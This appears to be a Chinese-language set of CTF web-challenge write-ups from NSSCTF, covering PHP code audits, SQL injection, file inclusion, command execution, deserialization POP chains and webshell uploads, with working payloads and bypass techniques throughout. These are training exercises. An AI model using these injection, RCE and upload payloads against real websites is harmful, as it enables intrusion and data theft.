NSS【web】刷题

[SWPUCTF 2021 新生赛]jicao

类型:PHP、代码审计、RCE

主要知识点:json_decode()函数

json_decode():对JSON字符串解码,转换为php变量

用法:

<?php
$json = {"ctf":"web","question":18};

var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>

代码审计:

<?php
highlight_file('index.php');
include("flag.php"); //包含一个php文件里面可能有一个$flag对象值为flag
$id=$_POST['id']; //发送一个POST请求,传入一个参数id,定义为对象$id
$json=json_decode($_GET['json'],true); 
//发送一个GET请求,传入一个参数json;
//true将解析结果以数组形式返回;
//将解析的数组赋值给变量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//当id==wllmNB及$json进行JSON解码后的x的关联值为wllm时,输出$flag的值
?>

结果:

[SWPUCTF 2021 新生赛]easy_md5

类型:弱比较、PHP、数组绕过

主要知识点:md5弱比较、数组绕过

代码审计:

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name']; //获取GET请求中的'name'参数值,并赋值给对象$name
    $password = $_POST['password']; //获取POST请求中的'password'参数值,并赋值给对象$password
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    //如果$name的值不等于$password的值,且$name的md5值等于$password的md5值,输出$flag的值
    else {
        echo "wrong!";
    }
    //条件不满足输出"wrong!"
 
}
else {
    echo 'wrong!';
}
//如果未提供'name'或'password'参数,输出"wrong!"
?> 

特殊字符串

某些特殊的字符串,加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。此时就是值不同但md5或sha1值相同

常见的密文以0e开头的字符串

md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
 
 
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

数组绕过

md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,两个数组经过加密后得到的都是NULL,也就是相等的。故传入两个不同的数组经md5()加密会返回为NULL

 [SWPUCTF 2021 新生赛]include

类型:PHP伪协议、文件包含、PHP

主要知识点:php://filter伪协议

发现并没有上传文件的地方

尝试用php://filter伪协议过滤一下flag.php文件(一般flag都在flag.php中)

条件:

只需要读取,allow_url_fopen=on;allow_url_include=off

用法:

?file=php://fileter/read=<过滤器名称>/resource=<要过滤的文件(数据流)>

补充:

php://filter是一种元封装器:设计用于"数据流打开”时的"筛选过滤”应用,对本地磁盘文件进行读写,输出base64加密后的信息

convert.base64-encode:转换过滤器,用于过滤base64编码

扩展:

allow_url_fopen:配置选项,默认开启,决定了PHP 是否能够通过URL(而不是本地文件路径)来打开文件,为on时,fopen()和file_get_contents()等与文件操作相关的函数可以读取和写入远程文件

allow_url_include:配置选项,默认关闭,为on时,PHP 允许通过 URL 的形式,从远程服务器包含和执行PHP 文件

进入到 flag.php页面,发现一串base64编码,解码后即为flag

[SWPUCTF 2021 新生赛]easy_sql 

类型:SQL注入

主要知识点:union联合注入

先用?id=1'尝试发现没变化这时发现网站标题叫“参数是wllm”,所以用?wllm=1'尝试,回显成功

用?wllm=1\判断闭合方式,发现是单引号注入

用union联合注入尝试

?wllm=-1' union select 1,2,3--+

 回显成功

查询库

?wllm=-1' union select 1,2,database()--+

爆表

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

爆列

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

查看flag

?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+

[SWPUCTF 2021 新生赛]easyrce

类型:RCE、PHP

主要知识点:RCE

直接?url=system("ls");

 发现回显index.php文件,查看其目录?url=system("ls /");

发现目录中有疑似flag的内容,用?url=system("cat /flllllaaaaaaggggggg");查看

[第五空间 2021]WebFTP

类型:目录扫描、信息收集、.git泄露

主要知识点:dirsearch的使用

用bp抓包尝试爆破但发现需要还需要验证码爆破难度大所以应该不是弱口令爆破

用dirsearch扫描发现git泄露

进入查看

找了一圈没发现flag

重新看扫描结果发现有个phpinfo.php页面,进入ctrl+f搜索flag,得到flag

[SWPUCTF 2021 新生赛]babyrce

类型:空格绕过、RCE、Cookie注入

主要知识点:Cookie注入、shell_exec()绕过

修改cookie值为admin=1得到rasalghul.php文件

 进入查看

代码审计:

 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  //正则匹配空格被禁用
  $a = shell_exec($ip);
  //shell_exec()将命令的输出作为字符串返回,而不是打印到标准输出。
  echo $a;
}
?> 

将flag放入1.txt文件中,访问1.txt文件即可得到flag(但这题直接cat%09/f*就可以出来了不需要再访问1.txt文件)

[SWPUCTF 2021 新生赛]ez_unserialize

类型:反序列化、PHP

主要知识点:构造pop链

用御剑扫描

进入网页,发现一个php文件

访问

代码审计:

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;    //目标
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

构造pop链,打开phpstorm

<?php

class wllm{

    public $admin;
    public $passwd;

//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "ctf"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->admin;
//            echo $this->passwd;
//            echo "Just a bit more!";
//        }
//    }
}

//$p = $_GET['p'];
//unserialize($p);

$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>

输入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag

[SWPUCTF 2021 新生赛]easyupload2.0

类型:文件上传、文件头绕过

主要知识点:不常用的php可执行文件后缀

 

需要提交jpg文件

用bp抓包 ,修改后缀,尝试双写绕过不可行,用其他php可执行文件的扩展名pht、phtml

用蚁剑连接,成功绕过

打开找flag

[SWPUCTF 2021 新生赛]easyupload1.0 

类型:文件上传、MIME绕过、文件头绕过

主要知识点:前端绕过

需要提交jpg文件

用bp抓包修改后缀

连接蚁剑

打开找flag

 但是发现这个flag是错误的

用phpinfo查看php服务器的配置信息

ctrl+f搜索flag

 或者直接用蚁剑打开终端用env命令查看环境变量也可以发现flag

[SWPUCTF 2021 新生赛]no_wakeup

类型:反序列化、PHP

主要知识点:构造pop链、绕过_wakeup()

点进去查看

代码审计

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }    //反序列化之前触发wakeup,给passwd赋值,导致passwd不等于wllm

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;    //目标
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

构造pop链

<?php
class HaHaHa{

    public $admin;
    public $passwd;

//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//    public function __wakeup(){
//        $this->passwd = sha1($this->passwd);
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "wllm"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->passwd;
//            echo "No wake up";
//        }
//    }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);

$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>

由于_wakeup()函数将wllm加密导致执行echo $this->passwd;echo  "No wake up";

故需要绕过_wakeup(),变量数量大于真实的变量数量即可绕过_wakeup()的执行

[LitCTF 2023]PHP是世界上最好的语言!! 

类型:RCE、PHP、无参RCE

提示:探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录)

主要知识点:命令注入

尝试点击发现旁边的空白可以输入,根据提示尝试命令注入

发现flag,用system("cat /flag");得到flag

[SWPUCTF 2021 新生赛]PseudoProtocols

类型:PHP伪协议、PHP、文件包含

主要知识点:php://filter伪协议、data伪协议

 用php://filter/read=convert.base64-encode/resource=hint.php查看hint.php文件,发现一串base64代码

 解码

访问test2222222222222.php

代码审计:

 <?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
//file_get_contents()从一个文件中读取所有内容,并将其作为一个字符串返回。
//'r'代表只读模式
    echo "success\n";
    echo $flag;
}
?> 

用php://input伪协议来获取POST数据,POST为I want flag发现没法查看

用data伪协议查看,得到flag

[LitCTF 2023]导弹迷踪

类型:JS分析、源码泄漏、信息收集

 发现是一个游戏,查看源代码也没有什么东西,用御剑和dirsearch也没有扫出东西

直接在js文件里发现flag(一个一个文件找有点麻烦)

[NISACTF 2022]easyssrf 

类型:PHP伪协议、PHP

主要知识点:file伪协议

尝试输入一个flag

file:///fl4g查看/fl4g

 访问ha1x1ux1u.php

扩展:

stristr()查找字符串在另一个字符串中第一次出现的位置。所以不能用?file=file:///flag

直接?file=/flag得到flag

[NCTF 2018]签到题

类型:HTTP协议、PHP、信息收集

进入后是一个百度页面,查看源码没找到flag,尝试删除secret.php,发现删除不掉,用bp抓包删除后发送发现flag

 [BJDCTF 2020]easy_md5

类型:弱比较、数组绕过、PHP

主要知识点:md5(string,ture)函数

尝试提交个1,发现url处多了个?password=1

 尝试sql注入但发现没有回显,感觉不是sql注入

用bp抓包看看,发现一句sql语句

md5()函数

语法:

md5(string,raw)

#string:要加密的字符串

#raw:默认不写是false,32位16进制字符串;如果是true,则会将输入值进行加密,然后转化为16位原始的二进制格式字符串

 输入的值都被md5(string,true)函数转化为16位二进制,网上查找要怎么绕过,发现ffifdyop字符串会造成漏洞,md5('ffifdyop',true)=''or'6�]��!r,��b'。由于在mysql里面,在用作布尔型判断时,开头为1的字符串(被单引号包裹)会返回为整型数1(如果直接是数字1则不用单引号包裹),1是true。所以,简化后是password='' or 6,从而绕过md5(string,true)

输入ffifdyop后进入一个新页面

 查看源代码

访问levell14.php,进入到数组绕过部分

在POST输入param1[]=1&param2[]=2得到flag

[suctf 2019]EasySQL

类型:堆叠注入、SQL注入、关键字绕过

主要知识点:堆叠注入、猜测后端sql语句

输入1、2、3...尝试,都返回1

传入flag,尝试Union注入、报错注入、盲注,显示Nonono

 尝试堆叠注入,发现可行

爆库

1;show databases;

爆表

1;show tables;

 用select flag from Flag应该能得到flag但是flag被过滤了

法一:猜测后端查询语句

猜测后端为:

select $_POST['query'] || flag from Flag
--||表示在Flag表中选择$_POST['query'] 和flag字段,并将它们连接起来作为结果的一部分

本题传入数字会回显1,而传入字符串则无回显,所以猜测可能有||结构存在且Flag表中应该有个flag列。当输入一串字符时||会将这串字符与flag连接起来作为结果,当这串字符和flag两列都存在时才能正确回显。假设输入一个abc,则在后端语句应该会变为:

select abc||flag from <表名>

当表中没有abc这列时则会返回#1054 - Unknown column 'abc' in 'field list'

构造payload:

如果我们输入*,1则后端查询语句会变为:

select *,1||flag from Flag;
--查询Flag中所有列、常量1和flag列。将1与flag连接起来作为结果,由于数字是常量不会出现在查询结果中所以结果中只会有flag这列

传入*,1后得到flag

 方法二:sql_mode

sql_mode:一组语法校验规则

sql_mode的值作用
ONLY_FULL_GROUP_BY对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中
NO_ZERO_DATEmysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告
ERROR_FOR_DIVISION_BY_ZERO在insert或update过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时Mysql返回NULL
PIPES_AS_CONCAT将 || 视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数concat相类似
ANSI_QUOTES不能用双引号来引用字符串,因为它被解释为识别符

设置sql_mode的值为PIPES_AS_CONCAT,则后端查询语句会变为:

select concat($_POST['query'],flag) from Flag

故构造payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1 

后端为:

select 1;
set sql_mode=PIPES_AS_CONCAT;
select concat(1,flag) from flag;

[ZJCTF 2019]NiZhuanSiWei

类型:反序列化、PHP伪协议、PHP

主要知识点:data伪协议、构造pop链

分析源码,用?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php进入查看useless.php内容

得到一串base64编码,解码后得到反序列化源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
    //触发时机:把对象当成字符串调用
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

目标是访问到flag.php的内容

构造pop链

输入?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}得到新界面

打开源代码发现flag

[SWPUCTF 2021 新生赛]easyupload3.0

类型:.htaccess、文件上传、MIME绕过

主要知识点:.htaccess

上传一句话木马jpg文件

打开bp抓包,修改后缀发现被过滤

尝试用双写绕过和不常用的php可执行文件后缀等都无法绕过

发现服务器是Apache

扩展:

.htaccess是apache的分布式配置文件,里面存放着Apache服务器配置相关的一些指令,通过写入SetHandler application/x-httpd-php,可以将上传的一句话木马的jpg文件以PHP的方式执行。

这时候尝试上传.htaccess进行绕过。

再次上传一次shell.jpg的一句话木马文件,此时打开蚁剑连接/upload/shell.jpg连接成功

打开找flag

[SWPUCTF 2021 新生赛]hardrce

类型:无字母RCE、RCE、WAF绕过

主要知识点:取反绕过、目录穿越

 代码审计:

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
        //$blacklist里的符号、/、/m被过滤了
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
    //字母被过滤了
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);//将$wllm转换为代码执行,并返回一个或多个值,通过命令注入获取flag
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

 用bp尝试用url编码绕过发现不行(浏览器直接自动解密了)

 这时候想到可以利用取反绕过,构造payload:

<?php

$a = "system";
$a = urlencode(~$a);//~:取反写法
$b = "ls";
$b = urlencode(~$b);
echo $a . "------" . $b;
?>

 运行得到

输入?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);

利用目录穿越

<?php

$a = "system";
$a = urlencode(~$a);
$b = "ls ../../../";//目录穿越,一个一个试
$b = urlencode(~$b);
echo $a . "------" . $b;
?>

输入得到,发现flllllaaaaaaggggggg

 继续构造

<?php

$a = "system";
$a = urlencode(~$a);  
$b = "cat ../../../flllllaaaaaaggggggg";
$b = urlencode(~$b);
echo $a . "------" . $b;
?>

 输入得到flag

[SWPUCTF 2021 新生赛]error 

类型:报错注入、SQL注入

主要知识点:判断注入方式、报错注入

 

根据页面应该使用sql注入

输入1\判断闭合符,为单引号闭合

尝试union注入,发现不可行

尝试报错注入

爆库:

1' and updatexml(1,concat(0x7e,(select database())),'1')#

//这题注释符好像不能用--+

报表:

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db')),'1')#

爆列:

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb')),'1')#

得到一半flag:

1' and updatexml(1,concat(0x7e,substring((select group_concat(flag) from test_tb),1,32)),1)#

得到另一半flag

1' and updatexml(1,concat(0x7e,substring((select group_concat(flag) from test_tb),31,32)),1)#

完整flag:NSSCTF{6f103e1b-68cd-4525-a609-856a71118fbc} 

当然这题也可以用sqlmap直接梭哈

[SWPUCTF 2021 新生赛]pop

类型:反序列化、PHP、代码审计

主要知识点:pop链的构造、代码审计

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;//目标
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

 代码审计:

要得到flag需要触发Getflag()并使admin=w44m,passwd=08067。由于admin是私有属性,passwd是受保护属性所以直接在类里赋值,所以我们需要的就是触发Getflag()。我们可以借助下面的类进行调用。

我们可以看到w33m类下面有一个调用w00m来调用w22m假设我们将w00m赋值为对象w44m()将w22m赋值为Getflag()那么就可以通过调用w44m类调用Getflag()从而达到目的,要触发$this->w00m->{$this->w22m}();需要触发__toString()触发时机为当将对象当作字符串时,w22m类中有一个echo $this->w00m将w00m赋值为对象new w33m()即可触发__toString()

构造payload:

<?php


class w44m{

    private $admin="w44m";
    protected $passwd="08067" ;

//   public function Getflag(){
//        if($this->admin === 'w44m' && $this->passwd ==='08067'){
//            include('flag.php');
//            echo $flag;
//        }else{
//            echo $this->admin;
//            echo $this->passwd;
//            echo 'nono';
//        }
//    }
}

class w22m{
    public $w00m;
//    public function __destruct(){
//        echo $this->w00m;
//    }
}

class w33m{
    public $w00m;
    public $w22m;
//    public function __toString(){
//        $this->w00m->{$this->w22m}();
//        return 0;
//    }
}

//$w00m = $_GET['w00m'];
//unserialize($w00m);

$w2 = new w22m();
$w2->w00m=new w33m();
$w2->w00m->w00m=new w44m();
$w2->w00m->w22m="Getflag";
echo urlencode(serialize($w2));
?> 

由于私有属性和被保护属性有不可见字符所以需要urlencode,输入后得到flag

[SWPUCTF 2022 新生赛]ez_ez_php

类型:PHP伪协议、PHP、文件包含

substr(string, int a, int b);

#从第a位截取长度为b的字符串

substr(string, int a) ;

#从第a位截取后面所有的字符串

 从第一位开始如果截取前3位为php则会触发echo "Nice!!!"; include($_GET["file"]);

基本没什么影响直接php://filter伪协议就行

解码

发现flag不在flag.php里真正的flag在flag里重新构造

解码 得到flag

[SWPUCTF 2021 新生赛]sql

类型:关键字绕过、空格绕过、SQL注入

想要我们输入东西但是并没有输入的位置,所以应该是在url中输入,网页名给出了参数是wllm,根据题目可知应该是sql注入

用?wllm=1\判断闭合符,为单引号闭合

 尝试Union注入、报错注入、盲注,发现被禁止了且有根据页面应该有waf存在

先尝试看看注释符是否被过滤了用#发现不可行,用#的编码%23成功绕过

 尝试空格是否被过滤,发现被过滤

 尝试用url编码%20发现不可行,用%09发现可以绕过但是用?wllm=1‘%09group%09by%093%23无法判断出列数应该还有过滤,将'替换为url编码%27尝试,发现成功绕过判断出列数为3

开始union联合注入

?wllm=-1'%09union%09select%091,2,3%23

#这里-没有被过滤直接用就行

爆库

?wllm=-1'%09union%09select%091,2,database()%23

 爆表

?wllm=-1%27%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=%27test_db%27%23

发现不可行应该是过滤了=,用%09like%09尝试绕过,发现绕过成功

?wllm=-1%27%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema%09like%09%27test_db%27%23

爆列

?wllm=-1%27%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name%09like%09%27LTLT_flag%27%23

爆flag

?wllm=-1%27%09union%09select%091,2,group_concat(flag)%09from%09LTLT_flag%23

发现不全,用substring连接试试,发现被过滤了

尝试用mid连接,成功绕过

?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),1,30)%09from%09LTLT_flag%23

发现只显示了20位,说明一次只会显示20位字符串,查看中间20位

?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),21,20)%09from%09LTLT_flag%23

查看最后几位

?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),41,20)%09from%09LTLT_flag%23

得到完整flag:NSSCTF{a36ebc2d-c62a-4c3a-a4ff-5d175b0cd860}

[LitCTF 2023]作业管理系统

类型:文件上传、弱口令、其他

主要知识点:文件上传

打开源代码查看发现默认用户为admin密码为admin(注意这题要是用爆破的话会被封禁环境就废了)

输入后登入

上传一句话木马文件

直接上传成功了

用蚁剑连接

找到flag

[SWPUCTF 2021 新生赛]finalrce

类型:无回显RCE、RCE、WAF绕过

发现exec()函数

exec 函数:exec 函数执行系统命令,并将输出存储到一个数组中,每一行命令输出作为数组的一个元素。它的返回值是命令的最后一行输出或者返回状态码。

可能是一题无回显的rce,需要用tee命令绕过

尝试一波发现怎么输入都没有回显exec()的返回值,确认是无回显rce

用?url= l\s | tee 1.txt,将回显值放入1.txt文件中(用\绕过waf)

访问1.txt

用?url=l\s / | tee 1.txt查看目录下的文件,发现疑似flag的文件

打开flllllaaaaaaggggggg,发现被过滤了

用\绕过

访问1.txt,得到flag

[鹏城杯 2022]简单包含

类型PHP:伪协议、文件包含、PHP

主要知识点:php://input伪协议、脏数据

发现需要POST传参,所以使用php://input伪协议,发现有waf

尝试获取当前页码的源码

flag=php://filter/read=convert.base64-encode/resource=index.php

解码得到

<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />

代码审计:

当php://input读取的内容的长度小于800时会回显nssctf waf!

所以php://input读取的内容的长度要大于800

利用脏数据,使得长度大于800

解码得到flag

[HDCTF 2023]Welcome To HDCTF 2023

类型:JS分析、信息收集、源码泄漏

主要知识点:JSUnFuck编码

打开源代码

查看game.js文件,发现secret=一串JSUnFuck编码,很可疑解码看看

解码得到flag

[鹤城杯 2021]EasyP

类型:PHP、正则绕过、文件包含

主要知识点:basename()函数、php特性

代码审计:

post传参一个guess并赋值给变量$guess当$guess的值与$secret的值相等时输出flag,$secret的值需要自己猜测。由于secret的值没法猜测所以只能看看有没有别的绕过。(迷惑项)

当检测到PHP_SELF服务器变量包含有utils.php时返回hacker :),当REQUEST_URI服务器变量包含show_source时返回hacker :)。

检测GET请求中是否设置了show_source参数,如果设置了突出显示当前文件的源代码,如果未设置则调用show_source()函数显示当前文件的源代码

扩展:

$_SERVER:PHP预定义变量之一,可以直接使用,它是一个包含了诸如头信(header)、路径(path)及脚本位置(script locations)信息的数组。

$_SERVER 数组元素

数组元素说明
$_SERVER['PHP_SELF']当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://c.biancheng.net/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /test.php/foo.bar
$_SERVER['SERVER_ADDR']当前运行脚本所在服务器的 IP 地址
$_SERVER['SERVER_NAME']当前运行脚本所在服务器的主机名。如果脚本运行于虚拟主机中,该名称就由那个虚拟主机所设置的值决定
$_SERVER['SERVER_PROTOCOL']请求页面时通信协议的名称和版本。例如,“HTTP/1.0”
$_SERVER['REQUEST_METHOD']访问页面使用的请求方法。例如“GET”“HEAD”“POST”“PUT”
$_SERVER['DOCUMENT_ROOT']当前运行脚本所在的文档根目录。在服务器配置文件中定义
$_SERVER['HTTP_ACCEPT_LANGUAGE']当前请求头中 Accept-Language: 项的内容(如果存在)。例如,“en”
$_SERVER['REMOVE_ADDR']浏览当前页面的用户 IP 地址,注意与 $_SERVER['SERVER_ADDR'] 的区别
$_SERVER['SCRIPT_FILENAME']当前执行脚本的绝对路径
$_SERVER['SCRIPT_NAME']包含当前脚本的路径
$_SERVER['REQUEST_URI']URI 用来指定要访问的页面。例如,“index.html”
$_SERVER['PATH_INFO']

包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息(如果存在)。例如,当前脚本是通过 URL http://c.biancheng.net/php/path_info.php/some/stuff?foo=bar 被访问的,那么 $_SERVER['PATH_INFO'] 将包含 /some/stuff

basename()

用法:返回路径中的基本名称部分,去除目录只返回文件名,简单来说就是返回路径最后一个/之后的内容

语法:

basename($path,$suffix)

$path:要处理的路径

$suffix:可以为null,用于去除文件名缀名

特性:当传入的参数为非ASCII码、乱码、中文等特殊字符时会将其抛弃

根据审计我们发现可以在GET请求中设置show_source的参数(自定义)即show_source=1从而显示当前文件utils.php的源代码,但是由于untils.php和show_source全被过滤了所以我们需要绕过从而使得payload:

/utils.php/?show_source=1。

我们可以利用basename()函数的特性来绕过utils.php的检测,构造payload:

/utils.php/我的阀?show_source=1。

根据php特性,当GET或POST方式传进去的变量名,会自动将 “空格”,“+”,“.”,“[”转化为“_”,所以我们可以用show[source从而绕过_

构造出的payload:

/utils.php/我的阀?show[source=1

这样子就只会检测到后面的show[source=1从而得到当前文件源代码。

输入后发现返回为空,可能是文件路径不对,在前面加上个index.php试试成功返回,所以最终payload:

/index.php/utils.php/我的阀?show[source=1

[LitCTF 2023]Vim yyds 

类型:vim泄漏、RCE、源码泄漏

主要知识点:vim编辑器恢复交换文件

用dirsearch扫描发现swp文件

扩展:

SWP文件是在使用vi或vim编辑文件时产生的隐藏文件,用于备份缓冲区中的内容。

将文件下载下来用vim编辑器恢复

自动检索当前目录下的交换文件:

vim -r

恢复交换文件

vim -r  index.php.swp

打开查看发现一串php代码

代码审计:

POST请求当password等于base64加密的Give_Me_Your_Flag时执行system命令

开始构造payload

base64加密后:R2l2ZV9NZV9Zb3VyX0ZsYWc=

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=ls /

查看flag

 [HUBUCTF 2022 新生赛]checkin

类型:反序列化、弱比较、PHP

主要知识点:字符串和数字的弱比较

代码审计:

当username=this_is_secret和password=this_is_not_known_to_you时得到flag,GET请求传入一个$info并将$info反序列化

构造Payload:

<?php
//show_source(__FILE__);
//$username  = "this_is_secret";
//$password  = "this_is_not_known_to_you";
//include("flag.php");//here I changed those two
//$info = isset($_GET['info'])? $_GET['info']: "" ;
//$data_unserialize = unserialize($info);
//if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
//    echo $flag;
//}else{
//    echo "username or password error!";
//}
$info =array("username"=>"this_is_secret","password"=> "this_is_not_known_to_you");
$a=serialize($info);
var_dump($a);
?>

发现返回错误,注意到橙字提示,应该是说两个变量的值被改变了所以才会错误 。

所以这里我们改变思路尝试用弱比较

扩展:

用 “ == ” 进行字符串与数字比较时,PHP会自动把字符串转换为数字类型,当字符串开头不是数字时,会被转换为0,开头有数字时,以开头的数字为准,数字后的字符会被抛弃。

这里我假设改变后的字符串开头不是数字,构造payload:

<?php
//show_source(__FILE__);
//$username  = "this_is_secret";
//$password  = "this_is_not_known_to_you";
//include("flag.php");//here I changed those two
//$info = isset($_GET['info'])? $_GET['info']: "" ;
//$data_unserialize = unserialize($info);
//if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
//    echo $flag;
//}else{
//    echo "username or password error!";
//}
$info =array("username"=>0,"password"=>0);
$a=serialize($info);
var_dump($a);
?>

a:2:{s:8:"username";i:0;s:8:"password";i:0;}

输入后得到flag

[HNCTF 2022 Week1]Interesting_include 

类型:PHP伪协议、文件包含、PHP

主要知识点:php://filter伪协议

 代码审计:

GET请求传入一个参数filter,flag在flag.php里

所以我们用php://filter伪协议查看flag.php,构造payload

?filter=php://filter/read=convert.base64-encode/resource=flag.php

解码得到flag

[GDOUCTF 2023]EZ WEB

类型:Flask、Python、HTTP协议

主要知识点:flask框架

点击查看

 用dirsearch扫描发现/src路径

访问后下载了一个python文件app.py,打开查看是一个网页的脚本文件

import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

扩展:

flask框架:使用 Python 编写的轻量级 Web 应用框架。

Flask的基本模式为在程序里将一个视图函数分配给一个URL,每当用户访问这个URL时,系统就会执行给该URL分配好的视图函数,获取函数的返回值并将其显示到浏览器上。

PUT(上传资源):用于将指定资源上传到服务器,常用于上传文件或更新已有资源。

 使用bp抓包修改请求方式为PUT,上传/super-secret-route-nobody-will-guess,得到flag

[GDOUCTF 2023]泄露的伪装

类型:PHP伪协议、目录扫描、源码泄漏

主要知识点:目录扫描、data伪协议

